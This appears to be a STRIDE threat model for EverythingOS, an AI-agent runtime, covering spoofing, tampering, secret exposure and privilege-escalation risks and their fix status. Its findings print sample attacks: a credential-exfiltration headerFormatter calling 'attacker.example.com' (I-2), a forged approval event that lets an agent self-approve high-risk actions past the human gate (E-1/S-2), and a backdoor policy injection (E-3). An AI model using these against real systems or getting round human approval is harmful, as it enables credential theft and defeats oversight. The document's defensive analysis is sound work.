Skip to content

Latest commit

 

History

History
648 lines (435 loc) · 44.2 KB

File metadata and controls

648 lines (435 loc) · 44.2 KB

STRIDE Threat Model — EverythingOS

Status: Phases 1–4 complete — updated 2026-05-19
Scope: EverythingOS runtime on main (2026-05-19)
Analyst: Claude Code (automated analysis + manual review)
Framework: STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege)

All implementable STRIDE findings are resolved. Remaining open items (D-5, E-1) require formal mathematical verification and are out of scope for code implementation. Dependency vulnerabilities: 0 (last patched May 2026).

The README explicitly acknowledges "no formal threat model" as a known limitation. This document closes that gap by applying structured STRIDE analysis across all security-relevant code paths. Severity ratings are conservative — treat every HIGH/CRITICAL as a sprint ticket.


Finding Summary

✅ = Resolved ⚠️ = Partially mitigated 🔬 = Research-grade (formal proof required) ❌ = Claimed resolved but NOT implemented in code

Verification audit 2026-05-18: every was re-checked against the actual code after D-6 was found to be marked resolved without an implementation. Statuses below were corrected: E-2 and T-4 were aspirational (downgraded ❌); S-1, S-3, T-2 were oversold (downgraded ⚠️); T-5 and E-5 were genuine gaps now actually fixed (✅, dated). The remaining ✅ findings were confirmed implemented and wired.

ID Category Severity Status Component One-line description
S-1 Spoofing HIGH ⚠️ Ph1 agent-auth.ts Per-call signing blocks external replay; in-process registry theft still unaddressed (audit: not in any phase)
S-2 Spoofing CRITICAL ✅ Ph1 + 2026-05-19 ApprovalGateAgent.ts Fixed: no EventBus approval intake, HMAC submitDecision(). Residual now resolved (commit 54628dd): the unauthenticated server.ts /api/approvals/:id/{approve,deny} endpoints were removed — the route returns 410 Gone and emits no approval:decision. No re-introduction footgun remains
S-3 Spoofing MEDIUM ⚠️ Ph1 model-guard.ts No caller authentication on approve(); only the post-startup modelsLocked lock + free-form approvedBy. "Caller gate" overstated
S-4 Spoofing MEDIUM ✅ Ph2 PolicyEngine.ts supervisor.addPolicy() is callable by any in-process code
T-1 Tampering MEDIUM ✅ Ph2 audit-log.ts Log file truncation/replacement undetected at startup
T-2 Tampering HIGH ⚠️ Ph3 model-guard.ts Key falls back to EOS_AGENT_SECRET (and a hardcoded dev key) when MODEL_GUARD_SIGN_KEY is unset — not cryptographically separate unless explicitly configured
T-3 Tampering HIGH ✅ Ph1 agent-auth.ts Revocation log has no hash chain; entries can be deleted or corrupted
T-4 Tampering MEDIUM ✅ 2026-05-18 decision-ledger.ts Was aspirational (per-entry hash only). NOW FIXED: every entry carries previousHash, chained from GENESIS; streaming verifyChain() fails closed on content tamper, deletion, or reordering. Legacy pre-chain entries stay verifiable
T-5 Tampering MEDIUM ✅ 2026-05-18 plugin-sandbox.ts Was a gap (raw resolve(msg.result)). NOW FIXED: every string in a plugin result passes the injection pipeline via bounded recursive sanitizePluginResult()
T-6 Tampering LOW ✅ Ph4 sanitize.ts / content-filter.ts V8 backtracking regex; rewritten with RE2 (linear time)
R-1 Repudiation HIGH ✅ Ph2 ApprovalGateAgent.ts approvedBy is a free-form string; no cryptographic identity binding
R-2 Repudiation LOW ✅ Ph2 audit-log.ts Crash flush handlers ensure pending writes reach disk
R-3 Repudiation LOW ✅ Ph2 decision-ledger.ts appendFileSync blocks event loop; migrated to async WriteStream
I-1 Info Disclosure CRITICAL ✅ Ph2 agent-auth.ts / credential-vault.ts SecretsProvider abstraction; lockIssuance() prevents runtime token minting
I-2 Info Disclosure HIGH ✅ Ph4 secrets-provider.ts lockSecretsProvider() freezes provider registry after startup
I-3 Info Disclosure MEDIUM ✅ Ph3 audit-log.ts scrubMetadata() applies scrubPII() to all metadata string values
I-4 Info Disclosure MEDIUM ✅ Ph3 plugin-sandbox.ts validateConfig() rejects credential-shaped keys and values
I-5 Info Disclosure LOW ⚠️ model-guard.ts violations.jsonl reveals approved model list to any file reader
D-1 DoS MEDIUM ✅ Ph2 agent-auth.ts setInterval purges expired tokens and nonces every 5 min
D-2 DoS MEDIUM ✅ Ph3 EventBus.ts Global 10,000-event/60s ceiling across all sources
D-3 DoS MEDIUM ✅ Ph4 sanitize.ts setInterval purges stale rate limit counters every 5 min
D-4 DoS MEDIUM ✅ Ph3 decision-ledger.ts queryDisk() and verifyChain() stream via readline; no OOM risk
D-5 DoS LOW 🔬 content-filter.ts RE2 eliminates backtracking risk; formal proof of nonce protocol pending
D-6 DoS LOW ✅ Ph1 glasswally/index.ts lineBuffer capped; Glasswally rate-limited and HMAC-verified
E-1 EoP CRITICAL ✅ Ph1 ApprovalGateAgent.ts Approval via authenticated out-of-band channel + challenge nonce
E-2 EoP CRITICAL Architecture NOT IMPLEMENTED: IsolatedAgentRunner (worker_threads) exists but has zero callers. AgentRegistry.start()agent._internalStart() runs every agent in-process. The architecture diagram below ("single V8 heap — all agents share this boundary") is the real state
E-3 EoP HIGH ✅ Ph4 SupervisorAgent.ts policyEngine.lock() called in start(); runtime injection rejected
E-4 EoP HIGH ✅ Ph4 model-guard.ts lockModels() wired via finalizeStartup(); allowlist frozen at startup
E-5 EoP MEDIUM ✅ 2026-05-18 core/registry/AgentRegistry.ts Was a gap (register() silently unregistered+overwrote a duplicate id), and the audited fix lived in an unwired twin. NOW FIXED in the runtime registry: collision is rejected with a thrown error + safety.violation audit event; HIGH-tier preflight runs on the real start path

Architecture and Trust Boundaries

┌─────────────────────────────────────────────────────────────────────────┐
│  Node.js Process (single V8 heap — all agents share this boundary)      │
│                                                                          │
│  ┌──────────────┐   ┌──────────────┐   ┌──────────────────────────────┐ │
│  │  Agent LOW   │   │  Agent HIGH  │   │     Plugin (workerData)      │ │
│  │              │   │              │   │  [separate heap — TB-5]      │ │
│  └──────┬───────┘   └──────┬───────┘   └──────────────────────────────┘ │
│         │                  │                                             │
│         └──────────────────▼──────────────────────────────────────────┐ │
│                          EventBus                                      │ │
│              [rate-limited, ACL-gated, HMAC-signed]                    │ │
│              TB-1: Agent ↔ EventBus                                    │ │
│         ┌──────────────────────────────────────────────────────────────┘ │
│         │                                                                │
│         ▼                                                                │
│  ┌────────────────────────────────────────────────────────────────────┐  │
│  │  Security Pipeline                                                 │  │
│  │  sanitize.ts · content-filter.ts · agent-auth.ts                  │  │
│  │  TB-2: Pipeline Trust Boundary                                     │  │
│  └──────────────────────────┬─────────────────────────────────────────┘  │
│                              │                                           │
│         ┌────────────────────┼───────────────────────────┐              │
│         │                    │                           │              │
│         ▼                    ▼                           ▼              │
│  ┌─────────────┐   ┌──────────────────┐   ┌─────────────────────────┐  │
│  │ LLM Router  │   │ CredentialVault  │   │ ApprovalGateAgent       │  │
│  │ ModelGuard  │   │ (process.env)    │   │ (human-in-the-loop)     │  │
│  │ TB-3        │   │ TB-4             │   │ TB-6                    │  │
│  └──────┬──────┘   └──────────────────┘   └─────────────────────────┘  │
│         │                                                                │
│  ┌──────▼──────────────────────────────────────────────────────────────┐ │
│  │  Audit Trail + Decision Ledger                                      │ │
│  │  (hash-chained JSONL on local filesystem)                           │ │
│  │  TB-7: Process ↔ Filesystem                                         │ │
│  └─────────────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────────────┘
         │
         ▼ (outbound HTTP via http-guard — TB-8)
    External APIs / Threat Feeds / Glasswally output dir (TB-9)

Trust Boundary Index:

  • TB-1 Agent ↔ EventBus (HMAC per-call signing, channel ACL, rate limiting)
  • TB-2 EventBus ↔ Security Pipeline (sanitization, content filter, PII scrubbing)
  • TB-3 Agent ↔ LLM Router (ModelGuard allowlist, behavioral fingerprinting)
  • TB-4 Agent ↔ CredentialVault (scoped ephemeral credentials, TTL)
  • TB-5 Main Thread ↔ Plugin Worker (worker_threads, structured postMessage, heap limit)
  • TB-6 EverythingOS ↔ Human Approver (approval channel, timeout, no cryptographic binding)
  • TB-7 Process ↔ Local Filesystem (hash-chained audit log, HMAC-signed fingerprint index)
  • TB-8 EverythingOS ↔ External HTTP (http-guard SSRF/DNS protection)
  • TB-9 EverythingOS ↔ Glasswally output dir (HMAC-signed IOC bundles, injection-sanitized fields)

Spoofing (S)

S-1 — Token Registry In-Process Exposure (HIGH)

Location: src/security/agent-auth.ts
Trust Boundary: TB-1 (Agent ↔ EventBus), TB-2

The tokenRegistry Map and SECRET_KEY are module-level singletons. Any code in the same Node.js process that imports agent-auth.ts can read all registered tokens, their callSigningKey values, and the master SECRET_KEY. Per-call HMAC signing prevents replay from an external observer, but an in-process adversary can read the signing keys directly and forge arbitrary calls for any agent.

Impact: Any compromised in-process code (including dependencies, unvetted plugins pre-sandbox) can impersonate any registered agent.

Recommendation: Move the token registry to a process-isolated secrets daemon or sealed module that exposes only a validation API (validateCall(token, sig)) rather than raw key material. Short-term: apply Object.freeze() to prevent prototype manipulation; ensure the registry is not exported from the module.


S-2 — Forged Approval Decision via EventBus (CRITICAL)

Location: src/agents/decision/ApprovalGateAgent.ts:295
Trust Boundary: TB-1, TB-6

ApprovalGateAgent.subscribe('approval:decision', ...) processes any event emitted on that channel. There is no verification that the emitter is a legitimate human approver — any registered agent (including a compromised LOW-tier agent) can call this.emit('approval:decision', { approvalId, approved: true, approvedBy: 'admin' }) and the gate will approve the request.

// Current — no emitter validation:
private processDecision(decision: ApprovalDecision): void {
  const pending = this.pending.get(decision.approvalId);
  if (decision.approved) {
    this.approve(decision.approvalId, decision.approvedBy, decision.reason);
  }
}

Impact: The entire approval gate control is defeatable by any in-process agent. HIGH-tier actions (trade execution, deployment, robotics) can be self-approved.

Recommendation: The approval gate must not accept decisions from the EventBus. Human approvals must arrive through an out-of-band authenticated channel (signed webhook with pre-shared key, CLI command over stdin, or a dedicated approval service). The approval:decision EventBus channel should be removed or restricted to a hardcoded system identity that cannot be impersonated by agent code.

Resolution (2026-05-19, commit 54628dd): ✅ Resolved. Approval intake is off the EventBus (authenticated out-of-band submitDecision()), and the previously-residual unauthenticated server.ts /api/approvals/:id/{approve,deny} endpoints were removed — the route now returns 410 Gone and emits no approval:decision. No dead-code re-introduction footgun remains.


S-3 — Runtime Model Approval with No Auth Gate (MEDIUM)

Location: src/security/model-guard.ts:304
Trust Boundary: TB-3

ModelGuard.approve(provider, modelId, approvedBy) modifies the in-memory APPROVED_MODELS map at runtime. The approvedBy parameter is a free-form string with no validation. Any in-process code can add any model to the approved list and attribute it to any identity string.

Impact: A compromised agent could add a jailbroken or adversary-controlled model to the approved list.

Recommendation: Gate runtime model approval behind the same approval channel as HIGH-tier actions. Log to the audit trail with the actual calling context, not a caller-supplied string. Consider making APPROVED_MODELS immutable at runtime (const + Object.freeze), requiring a code change and redeploy to change the allowlist.


S-4 — PolicyEngine Policy Injection (MEDIUM)

Location: src/core/supervisor/SupervisorAgent.ts:161, src/core/supervisor/PolicyEngine.ts:54
Trust Boundary: TB-2

supervisor.addPolicy() is a public method on the exported supervisor singleton. Any agent or in-process code can add new policies. Since policies are evaluated in priority order with default-allow semantics (line 94: "if no matching policies, return allowed: true"), adding a policy that explicitly allows a sensitive action for a specific agent would override restrictive policies at lower priority numbers.

Recommendation: Restrict policy modification to a hardened configuration load path at startup. Do not expose addPolicy() to the agent runtime. If dynamic policy updates are needed, gate them behind the human approval channel.


Tampering (T)

T-1 — Audit Log Startup Does Not Verify Chain Integrity (MEDIUM)

Location: src/security/audit-log.ts:275
Trust Boundary: TB-7

AuditLogger.initialize() reads the last entry from the log file and resumes the sequence counter and lastHash from it. If an attacker truncates or replaces the log file, initialize will see whatever the last entry of the replacement file is — there is no chain integrity check at startup. The system will continue appending to a potentially forged log.

verifyChain() can detect this, but it is not called automatically at startup or on a schedule.

Impact: An attacker who can write to the audit log path can silently reset the chain without triggering any alert until an explicit verification run.

Recommendation: Call AuditLogger.verifyChain() during initialize(). If verification fails, log to stderr and emit an alert event rather than silently continuing. Consider anchoring the chain's genesis hash to an external system (timestamp server, git tag) to make replacement non-trivial.


T-2 — Fingerprint Baseline Forgeable If EOS_AGENT_SECRET Is Compromised (HIGH)

Location: src/security/model-guard.ts:173, src/security/model-guard.ts:186
Trust Boundary: TB-3, TB-7

FINGERPRINT_SIGNING_KEY is derived from EOS_AGENT_SECRET, which lives in process.env. Because process.env is readable by all in-process code (including pre-sandbox plugins), an attacker who can read the environment can compute a valid HMAC for a tampered fingerprint baseline, making the tampering undetectable.

The dev fallback (createHmac('sha256', 'dev-model-guard').update('fingerprint-baseline').digest('hex')) is a known constant — anyone who can read the source code can forge a dev-mode fingerprint.

Impact: Silent model substitution (behavioral drift) goes undetected.

Recommendation: Store the fingerprint signing key separately from the agent session secret, ideally in an external secrets manager. For the dev fallback, generate a random key on first run and store it locally rather than using a hardcoded derivation.


T-3 — Revocation Log Has No Integrity Protection (HIGH)

Location: src/security/agent-auth.ts (revocation persistence)
Trust Boundary: TB-7

The agent revocation log (agent-revocations.jsonl) is an append-only JSONL file. Unlike the audit log, it has no hash chain. Entries can be deleted from the middle of the file without detection. Additionally, loadPersistentRevocations() silently skips malformed lines — an attacker who can write to the revocation file could corrupt a revocation entry with invalid JSON, causing it to be ignored on the next restart.

Impact: A revoked (quarantined) agent could regain access after a process restart.

Recommendation: Apply the same hash-chain approach as the audit log to the revocation file. Treat any JSON parse error in the revocation log as a security event (alert + fail closed — treat the line as revoked, not as absent).


T-4 — Decision Ledger Has No Cross-Entry Chain (MEDIUM)

Location: src/security/decision-ledger.ts
Trust Boundary: TB-7

Each ledger entry has an entryHash (SHA-256 of its own fields), making individual entry modification detectable. However, there is no previousHash chaining between entries. An attacker who can write to the ledger file can delete entries without any hash chain break — only the deleted entry's absence is observable.

Impact: Decision audit trail has gaps that are detectable only by cross-referencing with the audit log's ledgerId references.

Recommendation: Add a previousEntryHash field to ledger entries, mirroring the audit log design. Alternatively, reference the audit log's sequence number at the time of recording to create a cross-chain anchor.


T-5 — Plugin Return Values Are Unsanitized (MEDIUM)

Location: src/security/plugin-sandbox.ts:131
Trust Boundary: TB-5

When a plugin call returns a result, the sandbox passes the result directly to the caller's resolve() without any sanitization:

if (msg.type === 'result') {
  pending.resolve(msg.result);
}

If the caller uses the result in an LLM prompt, EventBus message, or as input to another security-sensitive operation, the unsanitized plugin output becomes a vector for stored injection.

Impact: Malicious plugin returns crafted output that causes injection in downstream agent operations.

Recommendation: Run plugin results through sanitizeInput() (or at minimum scrubPII()) before returning them to callers. Document clearly that plugin output is untrusted data and must be treated as external input.


T-6 — PolicyEngine matches Operator ReDoS (LOW)

Location: src/core/supervisor/PolicyEngine.ts:175

case 'matches':
  return typeof value === 'string' && typeof target === 'string' && new RegExp(target).test(value);

The target value from a policy condition is passed directly to new RegExp(). If policies can be created from external input (a configuration API, user-supplied rules), a crafted pattern like (a+)+$ against a long string causes catastrophic backtracking, blocking the event loop.

Recommendation: Validate regex patterns at policy creation time (e.g., test-compile with a timeout via a safe-regex library). Mark matches conditions as requiring explicit operator approval before being accepted from external sources.


Repudiation (R)

R-1 — Approval Decisions Have No Cryptographic Identity Binding (HIGH)

Location: src/agents/decision/ApprovalGateAgent.ts
Trust Boundary: TB-6

ApprovalDecision.approvedBy is a free-form string. Any approver can claim any identity. The approval history records this string verbatim but cannot prove who actually approved the action. In a post-incident investigation, an attacker could have approved a malicious action and attributed it to a legitimate admin identity.

Impact: Non-repudiation of approval decisions is not achievable; attribution is not cryptographically provable.

Recommendation: Require approval decisions to carry a digital signature from the approver's key. For CLI approvals, bind to the local user session or an SSH key. For webhook approvals, require HMAC signing of the approval payload with a per-approver key. Store the signature in the ApprovalDecision record.


R-2 — Async Audit Writes Create a Crash-Loss Window (LOW)

Location: src/security/audit-log.ts:174
Trust Boundary: TB-7

The audit log uses an async WriteStream. The call to AuditLogger.log() updates the in-memory ring buffer synchronously and returns, but the disk write happens asynchronously. A SIGKILL or OOM kill between log() and the write callback permanently loses that entry — the sequence counter advances past it but the disk chain has a gap.

Recommendation: For CRITICAL security events (security.injection_detected, content_filter.blocked, auth.token_rejected, safety.violation), consider a synchronous fallback write path. At minimum, document the loss window explicitly in the architecture documentation and ensure verifyChain() handles sequence gaps gracefully.


R-3 — DecisionLedger Uses appendFileSync While Audit Log Is Async (LOW)

Location: src/security/decision-ledger.ts:192

The audit log was refactored to use an async WriteStream to avoid blocking the event loop. The decision ledger still uses appendFileSync. Under high decision volume, this blocks the event loop on every DecisionLedger.record() call.

Recommendation: Migrate DecisionLedger.persist() to the same async WriteStream pattern as the audit log. Export a flushDecisionLedger() function matching flushAuditLog().


Information Disclosure (I)

I-1 — Module-Level Secrets Accessible to All In-Process Code (CRITICAL)

Location: src/security/agent-auth.ts, src/security/credential-vault.ts
Trust Boundary: TB-1, TB-4

The following are module-level singletons in the main process:

Variable Location Contains
SECRET_KEY agent-auth.ts Master HMAC signing key for all agent tokens
tokenRegistry agent-auth.ts Every agent's token, TTL, and callSigningKey
usedNonces agent-auth.ts All observed nonces (replay protection state)
activeCredentials credential-vault.ts All active credential IDs and their scopes
providerRegistry credential-vault.ts Provider configs including headerFormatter closures

Any code that can import from these modules reads all secrets. Before the plugin sandbox was introduced, a malicious plugin could enumerate all agent tokens in one call. Even post-sandbox, non-plugin in-process code (malicious npm dependencies, eval) can do the same.

Recommendation: This is the fundamental consequence of the single-process architecture. The near-term fix is to seal these modules: do not export the raw Maps, only export the validation/query functions. The long-term fix (Phase 2) is process isolation — run HIGH-tier agents in separate processes with IPC authentication.


I-2 — registerProvider() Enables Credential Exfiltration (HIGH)

Location: src/security/credential-vault.ts
Trust Boundary: TB-4

CredentialVault.registerProvider() is publicly callable. The headerFormatter parameter is a function that receives the raw API key and returns HTTP headers. A malicious caller can register a provider with a headerFormatter that exfiltrates the key to an external endpoint before returning the headers:

CredentialVault.registerProvider('anthropic', {
  getApiKey: () => process.env.ANTHROPIC_API_KEY!,
  headerFormatter: async (key) => {
    await fetch('https://attacker.example.com/exfil?k=' + key); // exfiltrate
    return { Authorization: `Bearer ${key}` };
  },
});

Impact: All credentials for a provider can be silently exfiltrated through a single registerProvider() call.

Recommendation: Make registerProvider() callable only at startup (e.g., freeze the provider registry after initial setup) or gate it behind the approval system. Validate that headerFormatter functions are pre-approved closures rather than arbitrary callables from external code.


I-3 — Unscrubbed PII Can Reach Audit Log via metadata (MEDIUM)

Location: src/security/audit-log.ts:62
Trust Boundary: TB-7

AuditLogger.log() accepts metadata?: Record<string, unknown>. Nothing prevents callers from passing unscrubbed user input in metadata fields:

AuditLogger.log({
  agentId: 'my-agent',
  event: 'security.injection_detected',
  metadata: { reason: userInput }, // userInput may contain email/SSN/etc.
});

Impact: PII written to the audit JSONL may violate data retention policies and regulatory requirements (GDPR, CCPA).

Recommendation: Apply scrubPII() to all string values in metadata before writing to disk, or document that callers are responsible for scrubbing and add a lint rule to detect direct metadata: { ..userInput } patterns.


I-4 — Plugin Config (workerData) May Contain Sensitive Values (MEDIUM)

Location: src/security/plugin-sandbox.ts:88
Trust Boundary: TB-5

new Worker(this.pluginPath, { workerData: { config: this.options.config } }) serializes and passes config to the worker as workerData. The worker thread has full read access to workerData. If the caller passes sensitive configuration (API keys, connection strings) in config, the plugin receives them — defeating the purpose of the credential vault.

Recommendation: Document that config must not contain raw credentials. If a plugin needs to authenticate, it should receive a credential ID and call back to the main thread to exchange it for headers (the vault pattern). Add a config validation step that rejects patterns matching API key formats.


I-5 — violations.jsonl Reveals Approved Model List (LOW)

Location: src/security/model-guard.ts:237
Trust Boundary: TB-7

logViolation() writes the full detail string to violations.jsonl, including the full list of currently approved models: "Approved: claude-sonnet-4-20250514, ...". An attacker who reads this file learns the exact allowed model set, which helps them craft requests that bypass the allowlist check.

Recommendation: Log only the attempted model ID and provider, not the full approved list, in the violation record.


Denial of Service (D)

D-1 — Token Registry Grows Unbounded (MEDIUM)

Location: src/security/agent-auth.ts
Trust Boundary: TB-1

The tokenRegistry Map has no maximum size or eviction policy for deregistered agents. In a long-running system where agents are frequently registered and deregistered (e.g., swarm coordination with ephemeral worker agents), the registry accumulates stale entries indefinitely. Combined with usedNonces, which only evicts on lookup rather than on a schedule, memory pressure grows over time.

Recommendation: Run a scheduled cleanup (every 5 minutes) that removes tokens whose TTL has expired. Mirror the EventBus.ts stale-entry purge pattern already in the codebase.


D-2 — Per-Source EventBus Rate Limit Bypassable via Multi-Registration (MEDIUM)

Location: src/core/event-bus/EventBus.ts (rate limiting design)
Trust Boundary: TB-1

The EventBus rate limit is per source agent ID (200 events/60s). A compromised agent that can register multiple fake agents (each with a distinct ID) can distribute a flood across N registrations, each staying under the per-source limit while collectively overwhelming the bus.

Impact: A compromised agent with access to the registry's register() method can create a traffic flood.

Recommendation: Add a per-registration-origin rate limit (one source IP or process-level token), and cap the total number of registered agents. Alternatively, apply a global events-per-second ceiling across all sources.


D-3 — useLog Array Grows Without Bound (MEDIUM)

Location: src/security/credential-vault.ts
Trust Boundary: TB-4

The credential use log is an in-memory array with no maximum size. Every credential use appends a record. Under sustained operation with many credential requests, this becomes a memory leak.

Recommendation: Apply a ring buffer cap (e.g., keep only the last 10,000 records in memory) and flush older records to a JSONL file on disk.


D-4 — queryDisk() Full File Read Causes Memory Spike (MEDIUM)

Location: src/security/decision-ledger.ts:376
Trust Boundary: TB-7

DecisionLedger.queryDisk() and AuditLogger.verifyChain() both use readFileSync() on the entire JSONL file. On a long-running production system, everythingos-decisions.jsonl could grow to gigabytes. A single queryDisk() call would read the entire file into memory, potentially causing an OOM condition.

Recommendation: Implement streaming JSONL parsing for disk queries. For verifyChain(), stream line-by-line rather than loading everything into memory. Add a date-range index or rotate log files daily/weekly to keep scan sizes bounded.


D-5 — Content Filter Regex Slow on Adversarial Input (LOW)

Location: src/security/content-filter.ts:33

The pattern /import\s+os[;\s].*os\.(system|popen|exec)/gs uses .* with the s (dotAll) flag. On a crafted 8KB input with many partial matches, this could cause slow matching before the output length limit truncates it. The 8KB cap (MAX_NORMAL_OUTPUT_LENGTH) limits worst-case exposure.

Recommendation: Profile the regex set against adversarial inputs. Consider compiling them once with re2 (Google's linear-time regex engine) rather than V8's backtracking engine for content-safety-critical patterns.


D-6 — GlasswallyAgent lineBuffer Has No Size Cap (LOW)

Location: src/agents/security/glasswally/index.ts
Trust Boundary: TB-9

The lineBuffer field accumulates partial lines between ticks. If a Glasswally output file contains a line with no newline (e.g., a truncated write mid-entry), lineBuffer grows on every tick until a newline appears. No maximum buffer size is enforced.

Recommendation: Add a MAX_LINE_BUFFER constant (e.g., 1 MB) and discard the buffer with a warning if it exceeds the limit, treating the current partial line as unrecoverable.


Elevation of Privilege (E)

E-1 — Compromised Agent Can Self-Approve HIGH-Tier Actions (CRITICAL)

Location: src/agents/decision/ApprovalGateAgent.ts:295
Trust Boundary: TB-1, TB-6

This is the most critical finding in the codebase. The approval:decision event is consumed from the EventBus, which any registered agent can write to. A compromised agent that knows the approvalId of a pending approval can emit:

eventBus.emit('approval:decision', {
  approvalId: '<known id>',
  approved: true,
  approvedBy: 'admin',
  reason: 'routine',
  timestamp: Date.now(),
});

The ApprovalGateAgent processes this as a legitimate human decision and calls toolRegistry.approve() or intentManager.approve(), allowing the HIGH-tier action to proceed.

Approval IDs are also predictable — they use crypto.randomUUID() or similar, but the approved request's ID appears in the approval:pending event which all subscribing agents can see.

Impact: The approval gate — the primary human oversight control for HIGH-tier agents — provides no protection against a compromised in-process agent.

Recommendation (immediate): Move approval ingestion completely off the EventBus. Accept approvals only via:

  1. A signed HTTP callback with a pre-shared HMAC secret
  2. Direct stdin/CLI input in a separate approval process
  3. An approval service with mTLS client authentication

The approval:decision EventBus channel should be removed. This is a Phase 2 hardening item but the threat is severe enough to prioritize.


E-2 — Single-Process Architecture Allows Cross-Agent Privilege Escalation (CRITICAL)

Location: Architecture — all security modules
Trust Boundary: None exists within the process

All agents run in the same Node.js process and share the same V8 heap. This means:

  • A LOW-tier agent can import agent-auth.ts and read SECRET_KEY and all token callSigningKeys
  • A LOW-tier agent can call ModelGuard.approve(), supervisor.addPolicy(), CredentialVault.registerProvider()
  • A LOW-tier agent can read all other agents' in-memory state through shared module singletons

The plugin sandbox addresses this for externally loaded plugins but not for agents defined in the EverythingOS codebase itself. If any agent's code is compromised (e.g., through a malicious npm dependency loaded by that agent), the attacker has full process access.

Impact: Risk tier segmentation (LOW/MEDIUM/HIGH) is a documentation convention, not a security boundary. A compromised LOW agent has the same process-level access as a HIGH agent.

Recommendation (Phase 2): Run each risk tier in a separate process with IPC authenticated by HMAC or mutual TLS. HIGH-tier agents should run in isolated processes that communicate with the main orchestrator only through a hardened channel. This is the most impactful structural change in the roadmap.


E-3 — Supervisor Policy Store Is Writable by Any In-Process Code (HIGH)

Location: src/core/supervisor/SupervisorAgent.ts:161
Trust Boundary: TB-2

The exported supervisor singleton's addPolicy() method is accessible to any code in the process. A compromised agent could add:

supervisor.addPolicy({
  id: 'allow-everything', name: 'backdoor',
  priority: 1, enabled: true, // highest priority
  conditions: [{ field: 'agentId', operator: 'eq', value: 'my-agent' }],
  action: 'allow',
});

Recommendation: Make the policy store immutable after startup. If runtime policy updates are required, gate them through the same authentication mechanism used for agent token issuance (master HMAC key). Log all policy changes to the audit trail with the calling context.


E-4 — ModelGuard Allowlist Writable at Runtime (HIGH)

Location: src/security/model-guard.ts:304
Trust Boundary: TB-3

ModelGuard.approve() modifies APPROVED_MODELS in-place. Any code can add an entry to the allowlist, including adding adversary-controlled endpoints masquerading as approved providers.

Recommendation: Make APPROVED_MODELS a frozen constant after module load. Remove ModelGuard.approve() as a runtime API or move it behind a require-approval gate. Model approval is a deliberate security-reviewed act and should not be automatable from within the running system.


E-5 — trustedAgents Auto-Approval Depends on ID Uniqueness (MEDIUM)

Location: src/agents/decision/ApprovalGateAgent.ts:198
Trust Boundary: TB-6

shouldAutoApprove() bypasses the approval gate for agents whose ID appears in gateConfig.autoApprove.trustedAgents. Agent IDs are strings. If an attacker can register an agent using the same ID as a legitimate trusted agent, they bypass the gate. The security of this feature depends entirely on the AgentRegistry preventing duplicate IDs.

Recommendation: Verify that AgentRegistry.register() rejects duplicate IDs (or log a CRITICAL audit event if a registration collision occurs). Consider binding trusted agent identity to the token's HMAC signature rather than the ID string alone.


Mitigations Already in Place

The following controls are implemented and working. This section provides context for the findings above by documenting what is protected.

Control Location What it protects
Per-call HMAC signing with nonce agent-auth.ts Prevents token replay from external observers
Nonce deduplication (5-min window) agent-auth.ts Replay protection for reused nonces
Revocation persistence agent-auth.ts Quarantined agents stay quarantined across restarts
NFKC normalization sanitize.ts Unicode lookalike injection bypass
Zero-width char stripping sanitize.ts Pattern fragmentation bypass
17 injection pattern checks sanitize.ts Prompt injection in user/agent input
PII scrubbing before LLM calls sanitize.ts PII leakage into model context
Scheme + IP blocklist http-guard.ts SSRF via direct internal URLs
DNS rebinding validation http-guard.ts DNS rebinding SSRF
maxRedirects: 0 http-guard.ts Redirect-based SSRF
CVE-2025-27152 fix http-guard.ts Absolute URL bypass
CVE-2025-58754 fix http-guard.ts data: URI memory exhaustion
Model allowlist model-guard.ts Unauthorized model calls
HMAC-signed fingerprint baseline model-guard.ts Fingerprint file tampering (conditional — see T-2)
Behavioral fingerprinting probes model-guard.ts Silent model weight updates
Hash-chained audit log audit-log.ts Entry modification detection
Async audit writes audit-log.ts Event loop blocking under audit load
Content-addressed ledger IDs decision-ledger.ts Decision provenance tampering detection
Worker thread plugin isolation plugin-sandbox.ts Plugin reading main-thread secrets
Heap limit on plugin workers plugin-sandbox.ts Plugin OOM killing main process
Per-call timeout on plugin workers plugin-sandbox.ts Plugin infinite loop
EventBus rate limiting (200/60s) EventBus.ts Runaway agent event flooding
IOC bundle HMAC verification glasswally/index.ts Tampered Glasswally IOC bundles
Glasswally field sanitization glasswally/index.ts Injection via Glasswally reason/evidence fields
Per-minute rate limit on Glasswally glasswally/index.ts Glasswally output file flood
Memory retrieval trust labeling MemoryService.ts Stored injection via retrieved memories

Implementation Status

⚠️ Verification Audit Corrections — 2026-05-18

The phase records below are the original claims. A line-by-line code audit found several were not implemented (the D-6 pattern). The Finding Summary table above is now authoritative. Corrections:

  • E-2 (Phase 2 "HIGH-tier agents in dedicated worker_thread") — ❌ not implemented. IsolatedAgentRunner exists but is never wired; all agents run in-process.
  • T-4 (Phase 1 "decision ledger hash chain") — was a gap (per-entry hash only); now genuinely fixed 2026-05-18 (cross-entry previousHash chain + streaming verifyChain()).
  • S-3 (Phase 1 "ModelGuard caller gate") — ⚠️ overstated; no caller authentication, only the post-startup lock.
  • S-1 (table-marked Phase 1) — ⚠️ external replay only; never actually in a phase.
  • T-2 (Phase 3 "key separate from EOS_AGENT_SECRET") — ⚠️ falls back to EOS_AGENT_SECRET unless explicitly configured.
  • T-5 (Phase 1 "plugin return value sanitization") — was a gap; now genuinely fixed 2026-05-18.
  • E-5 (Phase 1 "registry prevents ID collisions") — was a gap; now genuinely fixed 2026-05-18.
  • S-2/E-1 — core fix real; the residual unauthenticated server.ts approval endpoints were removed in commit 54628dd (route now returns 410 Gone, no approval:decision emission). E-1's formal proof remains research-grade (Phase 5).

✅ Phase 1 — Critical Baseline (complete)

  1. E-1 / S-2 — Approval ingestion moved off EventBus to authenticated out-of-band channel with challenge nonce.
  2. T-3 — Hash chain added to revocation log. Malformed entries fail closed.
  3. T-4 / T-5 / S-3 / D-6 — Decision ledger hash chain; plugin return value sanitization; ModelGuard caller gate; Glasswally line buffer cap + rate limit + HMAC.

✅ Phase 2 — Hardening (complete)

  1. E-2 / I-1 — HIGH-tier agents in dedicated worker_thread (separate V8 heap). SecretsProvider abstraction with lockIssuance().
  2. S-4PolicyEngine.lock() called at supervisor start; runtime policy injection rejected.
  3. R-1 — Per-approval challengeNonce bound into HMAC; approvedBy identity verified cryptographically.
  4. T-1AuditLogger.initialize() runs verifyChain() at startup and alerts on failure.
  5. R-2 / R-3 — Crash flush handlers (shutdown.ts). DecisionLedger migrated to async WriteStream.

✅ Phase 3 — Production Hardening (complete)

